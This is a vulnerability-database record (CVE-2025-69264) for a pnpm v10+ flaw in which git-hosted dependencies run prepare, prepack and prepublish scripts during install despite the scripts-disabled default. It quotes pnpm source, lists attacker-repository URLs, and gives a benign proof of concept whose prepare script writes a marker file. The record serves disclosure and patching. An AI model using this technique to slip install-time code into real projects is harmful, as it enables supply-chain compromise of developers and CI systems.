{"id":"CVE-2025-69264","aliases":["GHSA-379q-355j-w6rj"],"url":"https://o3.security/vulnerability/CVE-2025-69264","summary":"pnpm v10+ Bypass \"Dependency lifecycle scripts execution disabled by default\"","details":"# pnpm v10+ Git Dependency Script Execution Bypass\n\n### Summary\n\nA security bypass vulnerability in pnpm v10+ allows git-hosted dependencies to execute arbitrary code during `pnpm install`, circumventing the v10 security feature \"Dependency lifecycle scripts execution disabled by default\". While pnpm v10 blocks `postinstall` scripts via the `onlyBuiltDependencies` mechanism, git dependencies can still execute `prepare`, `prepublish`, and `prepack` scripts during the fetch phase, enabling remote code execution without user consent or approval.\n\n### Details\n\npnpm v10 introduced a security feature to disable dependency lifecycle scripts by default ([PR #8897](https://github.com/pnpm/pnpm/pull/8897)). This is implemented by setting `onlyBuiltDependencies = []` when no build policy is configured:\n\n**File:** `pkg-manager/core/src/install/extendInstallOptions.ts` (lines 290-291)\n```typescript\nif (opts.neverBuiltDependencies == null && opts.onlyBuiltDependencies == null && opts.onlyBuiltDependenciesFile == null) {\n  opts.onlyBuiltDependencies = []\n}\n```\n\nThis creates an allowlist that blocks all packages from running scripts during the **BUILD phase** in `exec/build-modules/src/index.ts`.\n\nHowever, git-hosted dependencies are processed differently. During the **FETCH phase**, git packages are prepared using `preparePackage()`:\n\n**File:** `exec/prepare-package/src/index.ts` (lines 28-57)\n```typescript\nexport async function preparePackage (opts: PreparePackageOptions, gitRootDir: string, subDir: string) {\n  // ...\n  if (opts.ignoreScripts) return { shouldBeBuilt: true, pkgDir }  // Only checks ignoreScripts, not onlyBuiltDependencies\n\n  const execOpts: RunLifecycleHookOptions = {\n    // ...\n    rawConfig: omit(['ignore-scripts'], opts.rawConfig),  // Explicitly removes ignore-scripts!\n  }\n\n  // Runs npm/pnpm install\n  await runLifecycleHook(installScriptName, manifest, execOpts)\n\n  // Runs prepare scripts\n  for (const scriptName of PREPUBLISH_SCRIPTS) {  // ['prepublish', 'prepack', 'publish']\n    await runLifecycleHook(newScriptName, manifest, execOpts)\n  }\n}\n```\n\nThe `ignoreScripts` option defaults to `false` and is completely separate from `onlyBuiltDependencies`. The `onlyBuiltDependencies` allowlist is never consulted during the fetch phase.\n\n**Affected scripts that execute during fetch:**\n- `prepare`\n- `prepublish`\n- `prepack`\n\n**Attack vectors:**\n- `git+https://github.com/attacker/malicious.git`\n- `github:attacker/malicious`\n- `gitlab:attacker/malicious`\n- `bitbucket:attacker/malicious`\n- `git+ssh://git@github.com/attacker/malicious.git`\n- `git+file:///path/to/local/repo`\n\n### PoC\n\n**Prerequisites:**\n- pnpm v10.0.0 or later (tested on v10.23.0 and v11.0.0-alpha.1)\n- git\n\n**Steps to reproduce:**\n\n1. Extract the attached [poc.zip](https://github.com/user-attachments/files/23797816/poc.zip)\n\n2. Run the PoC script:\n   ```bash\n   cd poc\n   chmod +x run-poc.sh\n   ./run-poc.sh\n   ```\n\n3. Verify the marker file was created by the malicious script:\n   ```bash\n   cat /tmp/pnpm-vuln-poc-marker.txt\n   ```\n\n**Manual reproduction:**\n\n1. Create a malicious package with a `prepare` script:\n   ```json\n   {\n     \"name\": \"malicious-pkg\",\n     \"version\": \"1.0.0\",\n     \"scripts\": {\n       \"prepare\": \"node -e \\\"require('fs').writeFileSync('/tmp/pwned.txt', 'RCE!')\\\"\"\n     }\n   }\n   ```\n\n2. Initialize it as a git repo and commit the files\n\n3. Create a victim project that depends on it (just have to make sure it actually git clones and not just downloads a tarball):\n   ```json\n   {\n     \"dependencies\": {\n       \"malicious-pkg\": \"git+file:///path/to/malicious-pkg\"\n     }\n   }\n   ```\n\n4. Run `pnpm install` - the prepare script executes without any warning or approval prompt\n\n### Impact\n\n**Severity: High**\n\n**Who is impacted:**\n- All pnpm v10+ users\n- Users who believed they were protected by the v10 \"scripts disabled by default\" feature\n- CI/CD pipelines\n\n**Attack scenarios:**\n1. **Supply chain attack:** An attacker compromises a dependency, adding to it a malicious git dependency that executes arbitrary code during `pnpm install`\n\n**What an attacker can do:**\n- Execute arbitrary code with the victim's privileges\n- Exfiltrate environment variables, secrets, and credentials\n- Modify source code or inject backdoors\n- Establish persistence or reverse shells\n- Access the filesystem and network\n\n**Why this bypasses security expectations:**\n- pnpm v10 changelog explicitly states \"Lifecycle scripts of dependencies are not executed during installation by default\"\n- Users expect git dependencies to follow the same security model as npm registry packages\n- There is no warning that git dependencies are treated differently\n- The `onlyBuiltDependencies` configuration does not affect git dependencies","published":"2026-01-07T21:53:09.806Z","modified":"2026-09-15T03:31:08.308710767Z","cvss":{"score":8.8,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"pnpm","fixedVersion":"10.26.0"}],"fix":{"url":"https://github.com/pnpm/pnpm/commit/73cc63504d9bc360c43e4b2feb9080677f03c5b5","label":"pnpm/pnpm@73cc635"},"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-69264.json"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2025-69264"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/69xxx/CVE-2025-69264.json"},{"type":"ADVISORY","url":"https://github.com/pnpm/pnpm/security/advisories/GHSA-379q-355j-w6rj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-69264"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2427709"},{"type":"FIX","url":"https://github.com/pnpm/pnpm/commit/73cc63504d9bc360c43e4b2feb9080677f03c5b5"},{"type":"PACKAGE","url":"https://github.com/pnpm/pnpm"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-15T03:31:08.308710767Z"}}